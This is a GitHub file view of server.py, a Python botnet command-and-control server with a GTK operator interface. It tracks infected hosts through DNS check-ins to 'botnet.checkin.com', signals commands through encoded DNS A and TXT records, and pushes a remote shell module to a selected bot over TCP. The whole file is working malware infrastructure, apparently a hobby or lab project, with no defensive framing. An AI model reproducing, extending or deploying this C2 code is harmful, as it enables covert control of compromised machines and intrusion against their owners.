-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathserver.py
More file actions
executable file
·160 lines (114 loc) · 5.08 KB
/
server.py
File metadata and controls
executable file
·160 lines (114 loc) · 5.08 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
import gi
gi.require_version('Gtk', '3.0')
from gi.repository import Gtk, GLib
from datetime import datetime
##Add basic gui code
class Handler:
def onDestroy(self, *args):
Gtk.main_quit()
builder = Gtk.Builder()
builder.add_from_file("serverGui.glade")
builder.connect_signals(Handler())
logsBuffer = builder.get_object("logsBuffer")
iter = logsBuffer.get_start_iter()
currTime = datetime.now().strftime('%H:%M')
logsBuffer.insert(iter, "[" + currTime + "] Server Started, Listening for Client Connections\n")
botsTreeView = builder.get_object("botsTreeView")
botsListStore = Gtk.ListStore(str, str, str)
botsTreeView.set_model(botsListStore)
window = builder.get_object("mainWindow")
window.show_all()
##Add methods to update gui during server loop
def botCheckin():
botsListStore.clear()
for bot in botsDict.values():
botsListStore.append([bot.ip, bot.lastTime, bot.status])
def addLog(log):
iter = logsBuffer.get_start_iter()
currTime = datetime.now().strftime('%H:%M')
logsBuffer.insert(iter, "[" + currTime + "] " + log + "\n")
##implement bot data structure and gui functions
class Bot:
def __init__(self, ip):
self.ip = ip
self.lastTime = datetime.now().strftime('%H:%M')
self.status = "none"
def updateTime(self):
self.lastTime = datetime.now().strftime('%H:%M')
botsDict = {}
selectedBot = "none"
def onSelectionChanged(tree_selection) :
global selectedBot
(model, pathlist) = tree_selection.get_selected_rows()
if len(pathlist) != 0:
tree_iter = model.get_iter(pathlist[0])
value = model.get_value(tree_iter,0)
selectedBot = str(value)
botsTreeView.get_selection().connect("changed", onSelectionChanged)
shellButton = builder.get_object("shellModuleButton")
def shellClicked(widget):
global selectedBot
if selectedBot in botsDict:
botsDict[selectedBot].status = "Loading Shell Module"
botCheckin()
shellButton.connect("clicked", shellClicked)
##implement main server code
import socketserver
from dnslib import DNSRecord, RR, QTYPE, A, TXT
import threading
import time
import socket
ServerAddress = ("192.168.48.137", 53)
class MyUDPRequestHandler(socketserver.DatagramRequestHandler):
# Override the handle() method
def handle(self):
data = self.request[0].strip()
try:
dnsRequest = DNSRecord.parse(data)
except:
GLib.idle_add(addLog, "Packet from {} is Invalid - Possibly a Dropped Packet".format(self.client_address[0]))
client = self.request[1]
if "botnet.checkin.com" in str(dnsRequest.questions[0]):
#update gui and bots dictionary
if self.client_address[0] not in botsDict:
botsDict[self.client_address[0]] = Bot(self.client_address[0])
dnsResponse = dnsRequest.reply()
dnsResponse.add_answer(RR("botnet.checkin.com",QTYPE.A,rdata=A("67.79.79.76"),ttl=60))
client.sendto(dnsResponse.pack(), self.client_address)
elif botsDict[self.client_address[0]].status != "none":
## load module
GLib.idle_add(addLog, "Loading Module for Bot at {}".format(self.client_address[0]))
dnsResponse = dnsRequest.reply()
dnsResponse.add_answer(RR("botnet.checkin.com",QTYPE.A,rdata=A("76.79.65.68"),ttl=60))
#figure out free port to send module in
s = socket.socket()
s.bind(('', 0)) # Bind to a free port provided by the host.
port = s.getsockname()[1]
s.close()
dnsResponse.add_answer(RR("botnet.checkin.com",QTYPE.TXT,rdata=TXT(str(port)),ttl=60))
client.sendto(dnsResponse.pack(), self.client_address)
#wait just a little bit to give client time to listen for connection, then send over module
time.sleep(2)
moduleBytes = open("shellModule.py", "rb").read()
modSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
modAddr = (self.client_address[0], int(port))
modSocket.connect(modAddr)
modSocket.send(moduleBytes)
modSocket.close()
botsDict[self.client_address[0]].status = "none"
else:
dnsResponse = dnsRequest.reply()
dnsResponse.add_answer(RR("botnet.checkin.com",QTYPE.A,rdata=A("67.79.79.76"),ttl=60))
client.sendto(dnsResponse.pack(), self.client_address)
botsDict[self.client_address[0]].updateTime()
GLib.idle_add(botCheckin)
GLib.idle_add(addLog, "Bot at {} Checked In".format(self.client_address[0]))
else:
GLib.idle_add(addLog, "{} Sent Non-Botnet Traffic: {}".format(self.client_address[0], dnsRequest))
# Create a Server Instance
def botnetServer():
UDPServerObject = socketserver.ThreadingUDPServer(ServerAddress, MyUDPRequestHandler)
UDPServerObject.serve_forever()
threading.Thread(target=botnetServer).start()
#start gui
Gtk.main()